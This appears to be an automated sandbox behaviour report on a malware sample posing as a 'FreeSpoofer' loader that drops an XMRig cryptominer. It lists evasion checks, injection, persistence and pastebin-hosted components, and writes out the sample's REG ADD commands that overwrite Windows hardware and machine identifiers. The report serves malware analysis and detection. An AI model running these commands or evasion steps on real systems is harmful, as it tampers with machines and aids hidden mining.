xmrig | 2e29359adc345fbef1d0a2f082d441d600d9c616586303938609d025e8ac98fb

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Loader.exe

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral3/memory/2148-100-0x000000013F2A0000-0x000000013FC6A000-memory.dmp	xmrig
behavioral3/memory/888-103-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral3/memory/888-105-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral3/memory/888-107-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral3/memory/888-136-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral3/memory/888-138-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral3/memory/888-140-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral3/memory/888-142-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
628	powershell.exe
3000	powershell.exe
2396	powershell.exe
1064	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Loader.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\OcMcanCeIwcnojmhNPfBEGPX\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\OcMcanCeIwcnojmhNPfBEGPX"	ItkjdoYQsELiMeskxLaqyjtuJlHZNN.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Loader.exe

Executes dropped EXE 6 IoCs

pid	Process
948	ItkjdoYQsELiMeskxLaqyjtuJlHZNN.exe
1692	CfixpFpEtfLkgyHaApexyFwKResPnA.exe
2156	IJKwvlweCTVOlzLhQRZpkMjAxiYgKM.exe
2148	ChromeUpdater.exe
2448	KrDzBiKsGeNlBHsHKTbzHPqJtpGgRJ.exe
2632	axzUfSwRkNuKSagBxydFtZidHJOQac.exe

Loads dropped DLL 9 IoCs

pid	Process
1996	Loader.exe
1996	Loader.exe
820	taskeng.exe
1996	Loader.exe
2900	WerFault.exe
2900	WerFault.exe
2900	WerFault.exe
2900	WerFault.exe
2900	WerFault.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	pastebin.com
5	pastebin.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	Loader.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	Loader.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2148 set thread context of 604	2148	ChromeUpdater.exe	82
PID 2148 set thread context of 888	2148	ChromeUpdater.exe	83

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\ChromeUpdater.exe	IJKwvlweCTVOlzLhQRZpkMjAxiYgKM.exe
File created	C:\Program Files\Google\Libs\WR64.sys	ChromeUpdater.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\Cursors\OXKFkEITjKyJueqNflnRKiWGEnhzhl.exe	Loader.exe
File opened for modification	C:\Windows\Cursors\OXKFkEITjKyJueqNflnRKiWGEnhzhl.exe	Loader.exe
File created	C:\Windows\SoftwareDistribution\Download\GhpWsJUORbyzSDfmdAIYKDvmgBDAxX.sys	Loader.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\GhpWsJUORbyzSDfmdAIYKDvmgBDAxX.sys	Loader.exe
File created	C:\Windows\SoftwareDistribution\Download\iyMGIwkwWzmIyDcXhZFAuhaJHbxjjQ.sys	Loader.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\iyMGIwkwWzmIyDcXhZFAuhaJHbxjjQ.sys	Loader.exe
File created	C:\Windows\SoftwareDistribution\Download\ofuCsJzWcWpKrYJLPQjAZGovKZiNfv.exe	Loader.exe
File created	C:\Windows\Cursors\CfixpFpEtfLkgyHaApexyFwKResPnA.exe	Loader.exe
File created	C:\Windows\Cursors\DVYzsmAtGMlJoELZxIsMxNQzloUAhA.sys	Loader.exe
File opened for modification	C:\Windows\Cursors\DVYzsmAtGMlJoELZxIsMxNQzloUAhA.sys	Loader.exe
File created	C:\Windows\SoftwareDistribution\Download\IJKwvlweCTVOlzLhQRZpkMjAxiYgKM.exe	Loader.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\ofuCsJzWcWpKrYJLPQjAZGovKZiNfv.exe	Loader.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2900	2632	WerFault.exe	87

System Location Discovery: System Language Discovery 1 TTPs 28 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CfixpFpEtfLkgyHaApexyFwKResPnA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axzUfSwRkNuKSagBxydFtZidHJOQac.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Enumerates system info in registry 2 TTPs 19 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0\Identifier	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0\Component Information	reg.exe
Key created	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\3	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\6	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0\Identifier	reg.exe
Set value (str)	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0\Identifier = "3193004-02754e3c-A"	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\1	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\5	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\7	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\9	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\8	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0\Configuration Data	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\2	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\4	reg.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 5047cc17523cdb01	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
788	schtasks.exe
2072	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1996	Loader.exe
1996	Loader.exe
1692	CfixpFpEtfLkgyHaApexyFwKResPnA.exe
2156	IJKwvlweCTVOlzLhQRZpkMjAxiYgKM.exe
2156	IJKwvlweCTVOlzLhQRZpkMjAxiYgKM.exe
2396	powershell.exe
2156	IJKwvlweCTVOlzLhQRZpkMjAxiYgKM.exe
2156	IJKwvlweCTVOlzLhQRZpkMjAxiYgKM.exe
628	powershell.exe
2156	IJKwvlweCTVOlzLhQRZpkMjAxiYgKM.exe
2156	IJKwvlweCTVOlzLhQRZpkMjAxiYgKM.exe
2156	IJKwvlweCTVOlzLhQRZpkMjAxiYgKM.exe
2156	IJKwvlweCTVOlzLhQRZpkMjAxiYgKM.exe
2148	ChromeUpdater.exe
2148	ChromeUpdater.exe
1064	powershell.exe
2148	ChromeUpdater.exe
2148	ChromeUpdater.exe
3000	powershell.exe
2148	ChromeUpdater.exe
2148	ChromeUpdater.exe
2148	ChromeUpdater.exe
2148	ChromeUpdater.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
1996	Loader.exe
888	explorer.exe
2632	axzUfSwRkNuKSagBxydFtZidHJOQac.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe
888	explorer.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
948	ItkjdoYQsELiMeskxLaqyjtuJlHZNN.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	1996	Loader.exe
Token: SeLoadDriverPrivilege	948	ItkjdoYQsELiMeskxLaqyjtuJlHZNN.exe
Token: SeDebugPrivilege	1692	CfixpFpEtfLkgyHaApexyFwKResPnA.exe
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeDebugPrivilege	628	powershell.exe
Token: SeDebugPrivilege	1064	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeLockMemoryPrivilege	888	explorer.exe
Token: SeDebugPrivilege	2632	axzUfSwRkNuKSagBxydFtZidHJOQac.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1996	Loader.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1996 wrote to memory of 948	1996	Loader.exe	32
PID 1996 wrote to memory of 948	1996	Loader.exe	32
PID 1996 wrote to memory of 948	1996	Loader.exe	32
PID 1996 wrote to memory of 1692	1996	Loader.exe	35
PID 1996 wrote to memory of 1692	1996	Loader.exe	35
PID 1996 wrote to memory of 1692	1996	Loader.exe	35
PID 1996 wrote to memory of 1692	1996	Loader.exe	35
PID 1692 wrote to memory of 2852	1692	CfixpFpEtfLkgyHaApexyFwKResPnA.exe	37
PID 1692 wrote to memory of 2852	1692	CfixpFpEtfLkgyHaApexyFwKResPnA.exe	37
PID 1692 wrote to memory of 2852	1692	CfixpFpEtfLkgyHaApexyFwKResPnA.exe	37
PID 1692 wrote to memory of 2852	1692	CfixpFpEtfLkgyHaApexyFwKResPnA.exe	37
PID 2852 wrote to memory of 1708	2852	cmd.exe	39
PID 2852 wrote to memory of 1708	2852	cmd.exe	39
PID 2852 wrote to memory of 1708	2852	cmd.exe	39
PID 2852 wrote to memory of 1708	2852	cmd.exe	39
PID 2852 wrote to memory of 2408	2852	cmd.exe	40
PID 2852 wrote to memory of 2408	2852	cmd.exe	40
PID 2852 wrote to memory of 2408	2852	cmd.exe	40
PID 2852 wrote to memory of 2408	2852	cmd.exe	40
PID 2852 wrote to memory of 2484	2852	cmd.exe	41
PID 2852 wrote to memory of 2484	2852	cmd.exe	41
PID 2852 wrote to memory of 2484	2852	cmd.exe	41
PID 2852 wrote to memory of 2484	2852	cmd.exe	41
PID 2852 wrote to memory of 1720	2852	cmd.exe	42
PID 2852 wrote to memory of 1720	2852	cmd.exe	42
PID 2852 wrote to memory of 1720	2852	cmd.exe	42
PID 2852 wrote to memory of 1720	2852	cmd.exe	42
PID 2852 wrote to memory of 2832	2852	cmd.exe	43
PID 2852 wrote to memory of 2832	2852	cmd.exe	43
PID 2852 wrote to memory of 2832	2852	cmd.exe	43
PID 2852 wrote to memory of 2832	2852	cmd.exe	43
PID 2852 wrote to memory of 2856	2852	cmd.exe	44
PID 2852 wrote to memory of 2856	2852	cmd.exe	44
PID 2852 wrote to memory of 2856	2852	cmd.exe	44
PID 2852 wrote to memory of 2856	2852	cmd.exe	44
PID 2852 wrote to memory of 1384	2852	cmd.exe	45
PID 2852 wrote to memory of 1384	2852	cmd.exe	45
PID 2852 wrote to memory of 1384	2852	cmd.exe	45
PID 2852 wrote to memory of 1384	2852	cmd.exe	45
PID 2852 wrote to memory of 1552	2852	cmd.exe	46
PID 2852 wrote to memory of 1552	2852	cmd.exe	46
PID 2852 wrote to memory of 1552	2852	cmd.exe	46
PID 2852 wrote to memory of 1552	2852	cmd.exe	46
PID 2852 wrote to memory of 1780	2852	cmd.exe	47
PID 2852 wrote to memory of 1780	2852	cmd.exe	47
PID 2852 wrote to memory of 1780	2852	cmd.exe	47
PID 2852 wrote to memory of 1780	2852	cmd.exe	47
PID 2852 wrote to memory of 2356	2852	cmd.exe	48
PID 2852 wrote to memory of 2356	2852	cmd.exe	48
PID 2852 wrote to memory of 2356	2852	cmd.exe	48
PID 2852 wrote to memory of 2356	2852	cmd.exe	48
PID 2852 wrote to memory of 792	2852	cmd.exe	49
PID 2852 wrote to memory of 792	2852	cmd.exe	49
PID 2852 wrote to memory of 792	2852	cmd.exe	49
PID 2852 wrote to memory of 792	2852	cmd.exe	49
PID 2852 wrote to memory of 1616	2852	cmd.exe	50
PID 2852 wrote to memory of 1616	2852	cmd.exe	50
PID 2852 wrote to memory of 1616	2852	cmd.exe	50
PID 2852 wrote to memory of 1616	2852	cmd.exe	50
PID 2852 wrote to memory of 760	2852	cmd.exe	51
PID 2852 wrote to memory of 760	2852	cmd.exe	51
PID 2852 wrote to memory of 760	2852	cmd.exe	51
PID 2852 wrote to memory of 760	2852	cmd.exe	51
PID 2852 wrote to memory of 1248	2852	cmd.exe	52

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1164
- C:\Users\Admin\AppData\Local\Temp\FreeSpoofer\Loader.exe
  "C:\Users\Admin\AppData\Local\Temp\FreeSpoofer\Loader.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Checks BIOS information in registry
  - Loads dropped DLL
  - Maps connected drives based on registry
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\temp\ItkjdoYQsELiMeskxLaqyjtuJlHZNN.exe
    "C:\Windows\temp\ItkjdoYQsELiMeskxLaqyjtuJlHZNN.exe" C:\Users\Admin\AppData\Local\Microsoft\NsHonqSAqJzbTuUHJaHQKvOPZzparh.sys
    3⤵
    - Sets service image path in registry
    - Executes dropped EXE
    - Suspicious behavior: LoadsDriver
    - Suspicious use of AdjustPrivilegeToken
    PID:948
- - C:\Windows\Cursors\CfixpFpEtfLkgyHaApexyFwKResPnA.exe
    "C:\Windows\Cursors\CfixpFpEtfLkgyHaApexyFwKResPnA.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1692
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\jniwbqk.bat""
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2852
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography" /v MachineGuid /t REG_SZ /d 58e40295-5609-4b2a-b07e-5e91442a144a /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1708
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\IDConfigDB\Hardware Profiles\0001" /v HwProfileGuid /t REG_SZ /d 58e40295-5609-4b2a-b07e-5e91442a144a /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2408
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v BuildGUID /t REG_SZ /d 58e40295-5609-4b2a-b07e-5e91442a144a /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2484
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e967-e325-11ce-bfc1-08002be10318}\Configuration\Variables\BusDeviceDesc" /v PropertyGuid /t REG_SZ /d 58e40295-5609-4b2a-b07e-5e91442a144a /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1720
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\Configuration\Variables\DeviceDesc" /v PropertyGuid /t REG_SZ /d 58e40295-5609-4b2a-b07e-5e91442a144a /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2832
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\Configuration\Variables\Driver" /v PropertyGuid /t REG_SZ /d 58e40295-5609-4b2a-b07e-5e91442a144a /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2856
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation" /v ComputerHardwareId /t REG_SZ /d 58e40295-5609-4b2a-b07e-5e91442a144a /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1384
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v ProductId /t REG_SZ /d 58e40295-5609-4b2a-b07e-5e91442a144a /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1552
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SYSTEM\HardwareConfig" /v LastConfig /t REG_SZ /d 58e40295-5609-4b2a-b07e-5e91442a144a /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1780
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\System\CurrentControlSet\Control\WMI\Security" /v 671a8285-4edb-4cae-99fe-69a15c48c0bc /t REG_SZ /d 58e40295-5609-4b2a-b07e-5e91442a144a /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2356
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" /v SusClientId /t REG_SZ /d 58e40295-5609-4b2a-b07e-5e91442a144a /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:792
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\NVIDIA Corporation\Global\CoProcManager" /v ChipsetMatchID /t REG_SZ /d 61F45363F353DD55 /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1616
    - - C:\Windows\SysWOW64\reg.exe
        
        REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:760
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0" /v Identifier /t REG_SZ /d 3193004-02754e3c-A /f
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:1248
    - - C:\Windows\SysWOW64\reg.exe
        
        REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\1"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:1592
    - - C:\Windows\SysWOW64\reg.exe
        
        REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\2"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:1836
    - - C:\Windows\SysWOW64\reg.exe
        
        REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\3"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:1556
    - - C:\Windows\SysWOW64\reg.exe
        
        REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\4"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:2928
    - - C:\Windows\SysWOW64\reg.exe
        
        REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\5"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:2984
    - - C:\Windows\SysWOW64\reg.exe
        
        REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\6"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:2956
    - - C:\Windows\SysWOW64\reg.exe
        
        REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\7"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:2964
    - - C:\Windows\SysWOW64\reg.exe
        
        REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\8"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:2764
    - - C:\Windows\SysWOW64\reg.exe
        
        REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\9"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:2944
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi" 2>nul
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2936
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2920
- - C:\Windows\SoftwareDistribution\Download\IJKwvlweCTVOlzLhQRZpkMjAxiYgKM.exe
    "C:\Windows\SoftwareDistribution\Download\IJKwvlweCTVOlzLhQRZpkMjAxiYgKM.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    PID:2156
- - C:\Users\Admin\AppData\LocalLow\Microsoft\KrDzBiKsGeNlBHsHKTbzHPqJtpGgRJ.exe
    "C:\Users\Admin\AppData\LocalLow\Microsoft\KrDzBiKsGeNlBHsHKTbzHPqJtpGgRJ.exe" C:\Users\Admin\AppData\Local\..\LocalLow\Microsoft\sFjLbWwYQggioMuMBmraBlvUuAtGMb.sys
    3⤵
    - Executes dropped EXE
    PID:2448
- - C:\Users\Admin\AppData\LocalLow\Microsoft\axzUfSwRkNuKSagBxydFtZidHJOQac.exe
    "C:\Users\Admin\AppData\LocalLow\Microsoft\axzUfSwRkNuKSagBxydFtZidHJOQac.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2632
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2632 -s 648
      4⤵
      Loads dropped DLL
      Program crash
      PID:2900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
